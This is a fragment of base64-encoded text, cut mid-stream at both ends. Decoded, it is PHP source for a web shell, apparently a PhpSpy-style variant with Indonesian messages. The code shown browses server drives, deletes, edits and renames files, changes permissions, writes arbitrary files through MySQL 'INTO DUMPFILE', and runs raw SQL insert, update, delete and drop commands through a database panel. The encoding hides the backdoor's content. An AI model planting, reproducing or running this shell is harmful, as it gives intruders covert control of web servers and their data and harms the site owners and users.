JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPmdhd2UgRmlsZTwvYT4nKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopKSB7DQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOw0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoJCQkJaWYgKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlNpemU6Jy5zaXplY291bnQoJGRyaXZlLT5Ub3RhbFNpemUpLicmIzEzO0ZyZWU6Jy5zaXplY291bnQoJGRyaXZlLT5GcmVlU3BhY2UpLicmIzEzO1R5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOw0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQoNCgkvLyBHZXQgcGF0aA0KCSRkaXJkYXRhPWFycmF5KCk7DQoJJGZpbGVkYXRhPWFycmF5KCk7DQoNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJJGRpcmRhdGEgPSBHZXRMaXN0KCRub3dwYXRoKTsNCgl9IGVsc2Ugew0KCQkvLyBPcGVuIGRpcg0KCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsNCgkJd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgew0KCQkJJGZpbGVwYXRoPSRub3dwYXRoLiRmaWxlOw0KCQkJaWYoQGlzX2RpcigkZmlsZXBhdGgpKXsNCgkJCQkkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoJCQkJJGRpcmRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJCSRkaXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoJCQkJJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCgkJCQkkZGlyZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGZpbGVkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7DQoJCQl9DQoJCX0vLyB3aGlsZQ0KCQl1bnNldCgkZGlyZGIpOw0KCQl1bnNldCgkZmlsZWRiKTsNCgkJQGNsb3NlZGlyKCRkaXJzKTsNCgl9DQoJQHNvcnQoJGRpcmRhdGEpOw0KCUBzb3J0KCRmaWxlZGF0YSk7DQoJJGRpcl9pID0gJzAnOw0KCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpew0KCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48Zm9udCBmYWNlPSJ3aW5nZGluZ3MiIHNpemU9IjMiPjA8L2ZvbnQ+PC90ZD4nKTsNCgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1lJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPi0tPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJwZXJtJ10uJzwvYT4nLiRkaXJkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZGlyXCcsXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCdBcmUgeW91IHN1cmUgd2lsbCBkZWxldGUgJy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJz8gXFxuXFxuSWYgbm9uLWVtcHR5IGRpcmVjdG9yeSwgd2lsbCBiZSBkZWxldGUgYWxsIHRoZSBmaWxlcy5cJykiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsNCgkJCXAoJzwvdHI+Jyk7DQoJCQkkZGlyX2krKzsNCgkJfSBlbHNlIHsNCgkJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgew0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOw0KCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPHRyIGJnY29sb3I9ImdyZWVuIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5OyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOw0KCXAoJzxmb3JtIGlkPSJmaWxlbGlzdCIgbmFtZT0iZmlsZWxpc3QiIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiPicpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJJGZpbGVfaSA9ICcwJzsNCglmb3JlYWNoKCRmaWxlZGF0YSBhcyAka2V5ID0+ICRmaWxlZGIpew0KCQlpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRmaWxlZGJbJ3NlcnZlcl9saW5rJ10pOw0KCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsNCgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ210aW1lJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZWNobW9kJ10uJzwvYT4gLyAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3duZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5Eb3duPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsNCgkJCXAoJzwvdGQ+PC90cj4nKTsNCgkJCSRmaWxlX2krKzsNCgkJfQ0KCX0NCglwKCc8dHIgY2xhc3M9ImZvdXQxIj48dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPjx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25yYXJcJyk7Ij5QYWNraW5nIGRvd25sb2FkIHNlbGVjdGVkPC9hPiAtIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZmlsZXNcJyk7Ij5EZWxldGUgc2VsZWN0ZWQ8L2E+PC90ZD48dGQgY29sc3Bhbj0iNCIgYWxpZ249InJpZ2h0Ij4nLiRkaXJfaS4nIGRpcmVjdG9yaWVzIC8gJy4kZmlsZV9pLicgZmlsZXM8L3RkPjwvdHI+Jyk7DQoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7DQp9Ly8gZW5kIGRpcg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7DQoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsNCgkJJGZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRmaWxlJ107DQoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOw0KCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7DQoJCX0gZWxzZSB7DQoJCQlpZighJGZpbGVuYW1lKSB7DQoJCQkJbSgnUGxlYXNlIGNob29zZSBhIGZpbGUnKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsNCgkJCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsNCgkJCQlpZighJHVwbmFtZSkgJHVwbmFtZSA9ICRmaWxlWyduYW1lJ107DQoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOw0KCQkJCW0oJHJlc3VsdCA/ICdVcGxvYWQgc3Vrc2VzJyA6ICdVcGxvYWQgaGFzIGdhZ2FsOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRvaW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9PidkYmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglwKCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlkZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIHN1a3NlcyBiYWNrdXAga2UgPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOw0KCQkJCW15c3FsX2Nsb3NlKCk7DQoJCQl9IGVsc2Ugew0KCQkJCW0oJ0JhY2t1cCBnYWdhbCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3Vrc2VzJyA6IG15c3FsX2Vycm9yKCkpOw0KCQl9DQoJfQ0KCWlmICgkdXBkYXRlICYmICRpbnNlcnRzcWwgJiYgJGJhc2U2NCkgew0KCQkkdmFsc3RyID0gJHRtcCA9ICcnOw0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoJCQkkdmFsc3RyIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJHZhbCkuIiciOw0KCQkJJHRtcCA9ICcsJzsNCgkJfQ0KCQlpZiAoJHZhbHN0cikgew0KCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJVUERBVEUgJHRhYmxlbmFtZSBTRVQgJHZhbHN0ciBXSEVSRSAkd2hlcmUgTElNSVQgMSIpID8gJ1JlY29yZCB1cGRhdGluZycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJGRvaW5nID09ICdkZWwnICYmICRiYXNlNjQpIHsNCgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOw0KCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWtzZXMnIDogbXlzcWxfZXJyb3IoKSk7DQoJfQ0KDQoJaWYgKCR0YWJsZW5hbWUgJiYgJGRvaW5nID09ICdkcm9wJykgew0KCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJaWYgKHEoIkRST1AgV